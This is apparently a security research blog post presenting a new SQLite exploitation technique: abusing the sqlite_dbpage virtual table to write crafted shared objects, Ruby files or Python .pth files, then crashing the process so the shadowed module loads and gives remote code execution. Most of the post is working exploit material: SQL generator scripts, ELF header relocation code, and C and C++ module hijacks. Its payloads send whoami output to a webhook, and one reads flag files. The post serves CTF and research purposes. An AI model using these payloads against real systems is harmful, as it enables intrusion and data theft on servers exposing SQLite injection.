Abstract
Achieving arbitrary code execution through SQLite is notoriously difficult, particularly in default configurations where external extension loading is disabled.
Historically, attackers have relied on ATTACH DATABASE to achieve a dirty arbitrary file write, targeting parsers such as PHP or cronjobs, that
tolerate SQLite’s mandatory header and magic bytes. However, when dealing with strict runtimes like Python, Ruby, or Node.js, this primitive falls short.
In this post, I introduce a novel technique to finally break free from SQLite’s magic bytes and almost the entirety of its database header.
By exploiting the sqlite_dbpage virtual table, a built-in extension often enabled by default, we can gain low-level write access to the database pages.
Combined with relocating the ELF Program Header Table to work around the few remaining immutable offsets,
I demonstrate how to craft and write Shared Object (.so) files just via SQL queries.
Finally, I detail methods to crash the target process, forcing a restart that loads our shadowed module, which successfully achieves Remote Code Execution.
Introduction
To really make sense of the exploitation that follows, we first need to look at how SQLite databases are structured and how its file format works.
A SQLite database file is divided into pages of equal size (usually 4096 bytes). The first 100 bytes of the file, which are located in page 1, contain the global database header, which stores configuration flags and metadata:
This header is the exact reason why we can’t simply write arbitrary files. These bytes are automatically generated when creating a new database, and several fields are updated whenever a write transaction is committed.
The sqlite_dbpage virtual table
After digging through SQLite’s documentation, I came across “The SQLITE_DBPAGE Virtual Table”.
The sqlite_dbpage extension is a virtual table that provides direct and low-level read and write access to the raw binary pages of a database file:
-- table schema:
sqlite_dbpage(pgno INTEGER, data BLOB, schema HIDDEN)
Because it interfaces with SQLite’s internal pager, it allows you to read the exact raw bytes of any page via SELECT, or overwrite them using UPDATE:
-- this reads raw binary payload of the first page
SELECT data FROM sqlite_dbpage WHERE pgno = 1;
-- this overwrites a specific page in an attached database
ATTACH DATABASE '69.db' AS t;
UPDATE sqlite_dbpage SET data = X'...' WHERE pgno = 2 AND schema = 't';
-- if schema is not specified, it defaults to the main database
This makes it possible to overwrite the bytes that SQLite itself sets!
Seems amazing, right? Well it is, but there are some limitations:
- ATTACH DATABASErequires that the target file either does not exist, or is already a valid SQLite database, which means we can’t overwrite existing files.
- We still don’t have 100% control over all the bytes we write, which I will explain next.
Testing the dirtiness
The method I used to check if we had control over all the bytes of the file was to overwrite all the bytes with a sentinel byte that was not present (0x11),
so no false positives would appear.
Since the default page size is 4096 bytes and a minimal SQLite database is 2 pages long, I created another page to simulate the payload that we will write later:
ATTACH DATABASE 'fill.db' AS t;
CREATE TABLE IF NOT EXISTS t.pad(x);
INSERT INTO t.pad VALUES (zeroblob(4096)); -- zeroblob writes a blob of 4096 null bytes, creating a new page
UPDATE sqlite_dbpage SET data=X'1111...' WHERE pgno=3 AND schema='t'; -- 0x11 is repeated 4096 times for each page
UPDATE sqlite_dbpage SET data=X'1111...' WHERE pgno=2 AND schema='t';
UPDATE sqlite_dbpage SET data=X'1111...' WHERE pgno=1 AND schema='t';
I did a descending write, starting from the last page to the first one, because if you overwrite the first page first, you instantly corrupt the database header and SQLite will refuse any further writes.
After executing the query above, I compared the bytes before and after, and these are the only bytes that SQLite doesn’t let us overwrite:
(*) Notice that 24-27 and 92-95 are just 4 byte big endian integers, so every time we perform an UPDATE on the database, SQLite increments these fields by 1; we theoretically have control over these by repeating UPDATE statements until the counter reaches our desired value. Getting rid of the null bytes though would require an impractical amount of updates.
Weaponizing the primitive
Most of this research was actually done in a Python environment, specifically a Flask webapp:
# ...
import config
#...
@app.route('/exec', methods=['POST'])
def exec_sql():
sql = request.data.decode('utf-8')
try:
with get_db() as conn:
conn.executescript(sql)
return jsonify({"success": True}), 200
except Exception:
return jsonify({"success": False}), 400
#...This was containerized with Docker, python 3.14-slim, and served with Gunicorn (remember this detail).
My goal was to gain RCE. The obvious first step was to try writing a config.py file in the same directory as the webapp in
order to overwrite the config module and get code execution when the webapp imports it, but this is not possible because the file already exists.
Also, I realized that I couldn’t write a valid Python file because of the null bytes in the SQLite header, which throw a SyntaxError.
Thankfully, I recently read this amazing research post, without which I would have never been able to achieve this: Python Dirty Arbitrary File Write to RCE by siunam.
This post gave me two paths: writing a .pyc or a .so file. I chose the latter because it is a more robust solution.
Shared objects take precedence over standard Python files during module resolution and are far more versatile, allowing
the same technique to be adapted for other language runtimes.
Building a Python Shared Object module
In order to write a valid shared object python module, the easiest way is to use cythonize. What I’m trying to override is the config module, which is structured like this:
# config.py
DEBUG = False
HOST = '0.0.0.0'
PORT = 5000
DB_FILE = 'database.db'What we need to do is simply recreate the file and add this at the top:
import os
os.system("curl -X POST -d `whoami` <WEBHOOK_URL>")
# rest of config.pyThen, you can run cythonize -i config.py to generate the config.so file.
You must match the version of Python used by the target environment, otherwise the module will fail to load.
Below are the commands and the Dockerfile to build a config.so file for Python 3.14 (version can easily be changed):
FROM python:3.14-slim
WORKDIR /build
RUN apt-get update && \
apt-get install -y --no-install-recommends gcc libc6-dev && \
rm -rf /var/lib/apt/lists/*
RUN pip install --no-cache-dir Cython setuptools
COPY config.py .
RUN cythonize -i config.pydocker build -f Dockerfile.python -t cython-builder .
docker run --rm -v "$(pwd)":/out cython-builder sh -c "cp /build/config*.so /out/config.so"Now by simply importing the config module in a shell, we can see that the code executes:
Writing the module with SQLite
Intuitively, all it takes is splitting the bytes of the config.so file into chunks and
writing them with the technique explained before, right? Not exactly.
We still have a dirty arbitrary write. The first 100 bytes of Page 1 will always contain SQLite’s immutable header values and commit counters.
In a standard ELF shared object, this area overlaps with the ELF Header and the Program Header Table (PHDR), which tell the Linux dynamic linker how to load the binary into memory. Corrupting these structures causes the dynamic linker to make things go boom.
As I’m not a pwner and I’m not a revver, I had to look for an easy solution to this problem.
Relocating the Program Header Table
By default, compilers place the Program Header Table right after the initial ELF header.
However, the ELF specification allows the Program Header Table to live anywhere in the file as long as the main header’s offset pointer (e_phoff) points to it.
We can easily fix this using the LIEF library to push the table all the way to the end of the binary:
import lief
def relocate_program_header_table():
binary = lief.ELF.parse(str(RAW_SO_PATH))
if binary is None:
raise RuntimeError("LIEF could not parse the raw shared object")
binary.relocate_phdr_table(lief.ELF.Binary.PHDR_RELOC.FILE_END)
binary.write(str(FINAL_SO_PATH))
Crafting the queries
Once the ELF binary is patched, we just need an automated way to generate our SQL script.
The script has to perform three operations:
- Pre-allocate space by inserting a large zeroblob into a table to ensure SQLite allocates enough pages on disk.
- Chunk the binary and pad the ELF file with null bytes to align with the page size.
- Write the updates in reverse order using sqlite_dbpage statements, starting with the last page and working toward the first.
import math
PAGE_SIZE = 4096
def build_sql(payload, target_path):
pages = math.ceil(len(payload) / PAGE_SIZE)
padded = payload.ljust(pages * PAGE_SIZE, b"\x00")
reserve_blob = pages * PAGE_SIZE
lines = [
f"ATTACH DATABASE '{target_path}' AS t;",
"CREATE TABLE IF NOT EXISTS t.pad(x);",
f"INSERT INTO t.pad VALUES(zeroblob({reserve_blob}));",
]
for pgno in range(pages, 0, -1):
chunk = padded[(pgno - 1) * PAGE_SIZE : pgno * PAGE_SIZE]
lines.append(
f"UPDATE sqlite_dbpage SET data=X'{chunk.hex()}' WHERE pgno={pgno} AND schema='t';"
)
return "\n".join(lines), pagesAlternative: single-page write
If your shared object is under 64 KB, by setting PRAGMA page_size to SQLite’s maximum limit of 65536 bytes on the attached database before creating any tables,
SQLite will fit everything into a single page.
This allows you to write the whole binary in just one single UPDATE:
def build_sql(payload, target_path):
page_size = 65536
page = payload.ljust(page_size, b"\x00")
return "\n".join([
f"ATTACH DATABASE '{target_path}' AS t;",
f"PRAGMA t.page_size = {page_size};",
"CREATE TABLE IF NOT EXISTS t.z(x);",
f"UPDATE sqlite_dbpage SET data=X'{page.hex()}' WHERE schema='t' AND pgno=1;",
])I personally didn’t think of this approach at first, but it was used by a team (GiG) to solve the challenge that I wrote for MntcrlCTF about this technique. I have not tested whether this method works across all SQLite versions, so I decided to stick with the first approach.
Triggering module loading
After generating the SQL script, we can send it to the webapp and write our shared object in the same directory as app.py.
But how do we trigger its execution? Well, the answer depends heavily on the environment, but I found a few solutions that work in many cases.
Our goal is to make the app load our module instead of the original one. Having already placed the file, all we need is a restart. The only way to achieve this is to make the app crash.
Gunicorn timeout
Gunicorn is a Python WSGI HTTP server that is widely used to serve Python web applications. It’s arguably the most popular choice, especially with Flask and Django.
By design, Gunicorn has a timeout feature that kills workers that take too long to respond and the default value is 30 seconds.
We can leverage this feature to crash the app and force it to restart, forcing the newly spawned worker to reload our custom config.so module.
def hold_nc(seconds=31):
proc = subprocess.Popen(["nc", HOST, str(PORT)])
time.sleep(seconds)
proc.kill()Memory exhaustion
This one is more generic and works in many cases, since it leverages the fact that we can execute arbitrary SQLite queries. The idea is to create something that will exhaust the memory of the process and make it crash and therefore restart if it’s managed by some process manager, such as pm2 or even docker itself.
Every serious production Docker deployment has some kind of memory limit, for example:
services:
challenge:
build: .
restart: unless-stopped
environment:
FLAG: mntcrl{fake_flag_for_testing}
ports:
- 5009:5000
deploy:
resources:
limits:
memory: 512M # memory.max = 512 MiB & memory.swap.max = 512 MiBThis simple query will allocate enough memory to crash the process in the case of the previous container:
PRAGMA temp_store=MEMORY;
CREATE TEMP TABLE crash AS
WITH RECURSIVE c(x) AS (
SELECT 1
UNION ALL
SELECT x + 1 FROM c WHERE x < 1200
)
SELECT x, zeroblob(1048576) AS data FROM c;
-- 1 MiB * 1200 = 1.2 GiB > 1 GiB (512 MiB + 512 MiB) ==> OOMThis works because:
- PRAGMA temp_store=MEMORY forces the TEMP TABLE into the SQLite heap instead of a temporary file.
- Memory usage exceeds RAM + swap, so the kernel kills the process.
- Docker, or any process manager, restarts the process and our module is loaded.
Remember to adjust the number of recursive iterations based on the memory limit (if you don’t know it, rely on trial and error) and be sure to change the temporary table name if you are reusing the same database session.
Using both of these methods, we can crash the app and make it restart, which will get our shared object loaded and executed, finally giving us Remote Code Execution!
Expanding to Ruby
Since Ruby is another popular interpreted language, I decided to test whether I could achieve the same results. I set up a testbed using Sinatra with Puma as the application server, which runs a multiple worker model and it’s similar to Gunicorn.
Puma has preload_app enabled by default when multiple workers are used, we can’t just shadow a module used by the app, since it’s preloaded; looking at its source code though, I found that they import nio4r module when restarting a worker, which is a dependency of Puma itself; this will be our target.
Ruby C extensions
Ruby can also load custom C extensions as .so files. When requiring a module, Ruby executes an initialization entrypoint named Init_<module>().
Just like we did in Python, we can compile a small C extension and relocate its Program Header Table to the end of the binary using LIEF. Ruby’s module resolution algorithm can be represented (oversimplified) as follows:
So it’s impossible to shadow a .rb file, but we can shadow a .so file by placing our own
in a directory that is earlier in $LOAD_PATH than the original one.
I was very lucky because nio4r imports a C extension named nio4r_ext.so, so we can shadow that one!
#include <ruby.h>
#include <stdio.h>
void Init_nio4r_ext(void) {
system("curl -X POST -d `whoami` <WEBHOOK_URL>");
rb_require("/usr/local/bundle/extensions/x86_64-linux/4.0.0/nio4r-2.7.5/nio4r_ext.so"); //loads the real extension
}Then write the relocated shared object via sqlite_dbpage in $LOAD_PATH.first (mine was /usr/local/bundle/gems/sqlite3-2.9.6-x86_64-linux-gnu/lib/) via sqlite_dbpage.
The __END__ marker trick
Before concluding the Ruby chapter, I wondered whether Ruby had a built-in way to ignore arbitrary bytes.
Thanks to this post, it
turns out Ruby has a special token called __END__ that stops parsing code after it, treating everything that follows as a global variable called DATA.
Because SQLite’s first immutable byte (NUL) is at offset 24 and considering 9 bytes are taken by \n__END__\n,
we have 15 bytes left to write our payload, which is enough to execute a shell command.
eval`sh /tmp/x`
__END__
<dirty bytes>Remember to count also newlines and spaces.
We can write /tmp/x using SQLite as well, hiding the dirty header by skipping the first three lines:
tail -n+4 $0|sh
exit #
<dirty bytes>
curl -X POST -d `whoami` <WEBHOOK_URL>
rm -f /usr/local/bundle/gems/sqlite3-2.9.6-x86_64-linux-gnu/lib/nio.rb #prevents loop
printf '%s\n' 'require "nio4r"' #this will be executed by eval, requiring the real modulePuma worker restart
In theory, Puma has a worker timeout, default to 60 seconds, but I couldn’t make it work, even with CPU intensive queries, because the heartbeat thread was always able to respond in time. So I had to rely on memory exhaustion to crash the worker.
The worker handling the request gets terminated and the Puma master process then spawns a replacement worker, which executes require "nio",
loads our shadowed file, and triggers the payload.
Maybe Node.js?
Node has the N-API for writing native addons, which are compiled into .node files
(ELF shared object libraries with a different extension).
The first thing to note is that native addons cannot be directly imported via ES modules (ESM); the target application must rely on CommonJS. The module resolution algorithm is documented here.
Looking specifically at how it loads a module:
- Node.js always attempts LOAD_AS_FILEbefore falling back toLOAD_AS_DIRECTORY.
- For require('express'), since packages are installed as directories (/app/node_modules/express/), writing/app/node_modules/express.nodeoverrides the real module before the directory is evaluated.
Building a Node.js native addon
I decided to override the express module, but I had to do it without breaking imports.
All it takes is exporting the same symbols as the original module, while embedding our code to be executed upon loading.
#include <node_api.h>
#include <cstdlib>
NAPI_MODULE_INIT() {
//executes our code
std::system("curl -X POST -d `whoami` <WEBHOOK_URL>");
napi_value source;
if (napi_create_string_utf8(
env,
"process.getBuiltinModule('module')._load(process.cwd() + '/node_modules/express/index.js')",
NAPI_AUTO_LENGTH,
&source) != napi_ok) {
return nullptr;
}
napi_value express;
if (napi_run_script(env, source, &express) != napi_ok) {
return nullptr;
}
//return the real express module
return express;
}and then compile it with:
NODE_INCLUDE=$(node -e "console.log(path.join(path.dirname(process.execPath), '../include/node'))")
g++ -shared -fPIC -I"$NODE_INCLUDE" express.cpp -o express.nodeThe shattered dream
Unfortunately, there isn’t a standard Node.js Docker image where mainstream SQLite libraries have sqlite_dbpage enabled by default.
The official SQLite WASM build includes it, but it doesn’t work with CommonJS and can’t write files to disk.
The only way to make it work in Node.js is linking a custom SQLite build with the flag enabled, which is extremely uncommon.
Anyways, if you somewhat manage to write a .node file, the only reliable way I found is again memory exhaustion, some kind of process manager is required to restart the process,
like pm2 or Docker with restart enabled.
Bonus: Python .pth files
Python uses .pth (path configuration) files inside site-packages to append additional directories to sys.path.
However, CPython’s site.py does something interesting: any line beginning with import is evaluated dynamically via exec().
Note that executing arbitrary code in
.pthfiles has been deprecated in Python in favor of.startfiles, but it still works at least up to Python 3.13.
The way they get parsed is the following:
# site.py
for n, line in enumerate(pth_content.splitlines(), 1):
if line.startswith("#"):
continue
if line.strip() == "":
continue
try:
if line.startswith(("import ", "import\t")):
exec(line)
continue
So if a line starts with #, it will be ignored, but if it starts with import, it will be executed.
That’s a perfect match for us, since in this way our null bytes will never be parsed by Python.
PAGE_SIZE = 4096
SQLITE_HEADER_SIZE = 100
payload = b"import os;os.system('cat /flag*.txt > /app/templates/index.html')\n"
page1 = (b"#" * SQLITE_HEADER_SIZE + b"\n" + payload).ljust(PAGE_SIZE, b"\n")
page_newlines = b"\n" * PAGE_SIZE
sql = f"""
ATTACH DATABASE '/usr/local/lib/python3.11/site-packages/pwn.pth' AS t;
CREATE TABLE IF NOT EXISTS t.x(c);
UPDATE sqlite_dbpage SET data=X'{page_newlines.hex()}' WHERE pgno=2 AND schema='t';
UPDATE sqlite_dbpage SET data=X'{page1.hex()}' WHERE pgno=1 AND schema='t';
"""
print(sql)
The only way to trigger the execution of this code is running the Python interpreter, so whatever program runs the python command will trigger the execution of our code.
Limits and considerations
To summarize what has been discussed so far and taking into account what I have observed during my research, here are the main limitations and considerations to keep in mind:
- The sqlite_dbpageextension is not always enabled; it requiresENABLE_DBPAGE_VTABat compile time. Fortunately, this is already the case for most docker images based on Debian.
- SQLITE_DBCONFIG_DEFENSIVEmust be disabled at runtime.
- Based on my research, this technique only works with interpreted languages or dynamic runtimes; you can’t make it work with compiled languages.
- Having an SQLite injection sink that allows stacked queries (execorexecutescript) is required to run the payload.
Ruby works on every image because its standard sqlite3 gem compiles SQLite with ENABLE_DBPAGE_VTAB turned on, regardless of the OS base image.
In Python, availability is tied to the system SQLite library bundled in the distribution.
Conclusion
SQLite has always been considered relatively harmless when load_extension is turned off.
However, it’s fascinating to me how just casually reading the docs sparked this idea.
From now on, I know you won’t be able to look at SQLite the same way again.
This research took weeks of work and testing across different runtimes. It all started with SQLite As A Service, a challenge I authored for MntcrlCTF 2026 back in June, which ended with only two solves. Later in July, I presented a preliminary version of this technique in a talk at the CyberChallenge.IT 2026 Workshop in Salerno, Italy (recording).
I hope this post will be useful to other researchers and ctf players looking into dirty arbitrary write. Thank you very much if you read this far, and I hope you enjoyed it as much as I did writing it.